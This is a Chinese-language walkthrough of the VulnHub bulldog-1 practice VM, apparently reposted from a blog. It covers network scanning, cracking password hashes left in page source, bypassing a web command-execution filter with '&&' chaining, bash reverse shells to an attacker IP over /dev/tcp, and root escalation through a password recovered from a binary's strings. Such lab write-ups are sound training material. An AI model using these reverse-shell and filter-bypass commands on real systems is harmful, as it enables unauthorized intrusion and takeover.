bulldog-1靶机 write up

0x00 环境搭建

  • 下载链接

      https://download.vulnhub.com/bulldog/bulldog.ova
    
  • 目标
    获得root权限 读取flag

  • 运行环境
    靶机 VM虚拟机启动
    攻击机 kali win10

  • 靶机ip问题

(1)设为nat模式 和kali同网段

(2)如果设为nat, kali扫不出靶机ip 这样尝试

【1】重新启动 靶机 到开机页面 选择第二个ubuntu的高级选项。
在这里插入图片描述

【2】继续选择第二个选项
在这里插入图片描述

【3】 选择root 按回车 回车 进入命令行模式
在这里插入图片描述
【4】 mount -o rw,remount /
【5】ifconfig -a 显示所有网卡的信息,包含未up的
【6】 vim /etc/network/interfaces 修改 网卡名称
【7】 都改为 ens33
【8】 reboot
在这里插入图片描述
【9】 去kali 扫描 网段测试

如果有问题 多试试
一开始 改了 还是没反应 尝试了好几次 还是不行,
之后删掉靶机文件,重新 导入了靶机 再次修改 ip出现。

0x01 信息收集

  • ip探测

    netdiscover -i eth0 -r  192.168.157.0/24
    

在这里插入图片描述

  • 端口和服务识别

      masscan -p 1-65535 --rate=1000 192.168.157.161
    
      nmap -A -sC -sV -p 80,23,8080 192.168.157.161 -o 	port.tx
    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-30 16:34 CST
Nmap scan report for 192.168.157.161
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 00:0C:29:27:6E:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.157.161

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.66 seconds

23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; proto

80/tcp open http WSGIServer 0.1 (Python 2.7.12)

8080/tcp open http WSGIServer 0.1 (Python 2.7.12)

OS details: Linux 3.2 - 4.9

0x02 漏洞挖掘

web漏洞思路

(1) 爆破目录 看各个网页功能 及源码 找漏洞
(2) 看是否存在cms等框架漏洞,存在直接利用。
不存在开bp 手动找,也可开awvs appscan xray扫描。

ssh 利用思路

(1)用九头蛇跑弱口令,在有用户名的情况下,需要看字典还有是否存在弱口令啦。
(2)从web中获得的账号密码,也可进行尝试,很有可能也是ssh密码。

步骤一:浏览网页 爆破目录

(1) kali 和win10 两款工具爆破
/robots.txt
/admin/login/ 登录框
/dev
(2)浏览主页 点击各个点
只点到 一个 /notice/ 没有利用点
(3) 看看爆破出来的页面
/admin/login/ 页面 是一个Django 框架做的登录框
/robots.txt 没用
/dev 内容过多
有用信息有
在这里插入图片描述
点击 Web-Shell 跳转到
http://192.168.157.161/dev/shell/
需要认证才能使用
在这里插入图片描述
审查 /dev 源码 发现 存在网页开发人员测试时留下的有用信息 密码的哈希
尝试 解密登录

	<!--Need these password hashes for testing. Django's default is too complex-->
	<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
	Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
	Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
	Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
	Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
	Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
	Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
	Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->

步骤二: 破解hash

最后 在线解密后 就得出 最后两个 密码

邮箱 [email protected]
密码 bulldog (cmd5)

邮箱 [email protected]
密码 bulldoglover (somd5)

步骤三:利用密码登录后台

(1)以邮箱@前当做用户名 密码登录后 都显示没有操作权限。
(2) ssh登录 23 都失败
(3)想到刚才需要认证的web-shell 访问试试
认证成功 是一个命令执行的界面

步骤四:利用命令执行(需要尝试绕过方法)

测试后 很多命令都会被网页拦截 想办法绕过
测试出 可以利用 (允许执行的) &&(不允许执行的) 拼接命令绕过

比如
id 不被执行
ls && id id执行成

步骤五:反弹shell

(1)

	ls && bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1'

(2) 也可以 直接利用echo 可执行 反弹shell

echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash

先试用echo 输出命令,在输入到 bash中。

两种方法均可以反弹成功

0x03 提升权限

步骤六:查看系统用户,确定需要关注的用户

/bin/bash 的有 django 和 bulldogadmin 两个用户

步骤七:查找每个用户的文件

(1) 先看 bulldogadmin

find / -user bulldogadmin 2>/dev/null  

只显示非错误的
( 2>/dev/null 表示 将标准错误 重定向到 /dev/null 即linux设备的空文件中 俗称黑洞)

(2)发现 一个隐藏目录 中存在两个文件

/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
/home/bulldogadmin/.hiddenadmindirectory/note

在这里插入图片描述

(3)note文件应该是文本文件 直接cat 打印输出

cat /home/bulldogadmin/.hiddenadmindirectory/note

在这里插入图片描述

(4)App 看起来像是执行文件 strings 打印一下其中可打印的文件字符看看

strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

在这里插入图片描述

步骤八:拼接root密码提权

SUPERultH
imatePASH
SWORDyouH
CANTget

去掉H

SUPERultimatePASSWORDyouCANTget

可能是密码

su 

报错 must be run from a terminal
必须从一个终端运行

用以下命令 将shell转换成完全交互的tty终端模式

 python -c 'import pty; pty.spawn("/bin/bash")' 

再次

su

报错su: Authentication failure

需要

sudo su
SUPERultimatePASSWORDyouCANTget

在这里插入图片描述

cd ..
cat congrats.txt

在这里插入图片描述

0x04 思路总结

1.利用目录爆破 从爆破出的/dev页面内容中找到一处webshell 页面,源码中 查看到 认证需要的 账号密码。
2.利用webshell页面 可以执行操作系统命令,直接bash反弹 被禁止 。想办法绕过 echo 先输出命令 | 在输入到 bash中 或者 ls&&id 绕过。
3.获取到shell后 翻文件 看有没有密码等线索。
4.su 命令报错 must be run from a teriminal 必须从一个终端上运行时
python 环境可以
python -c ‘import pty;pty.spawn("/bin/bash")’
将shell转换为终端(tty)模式。

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121634573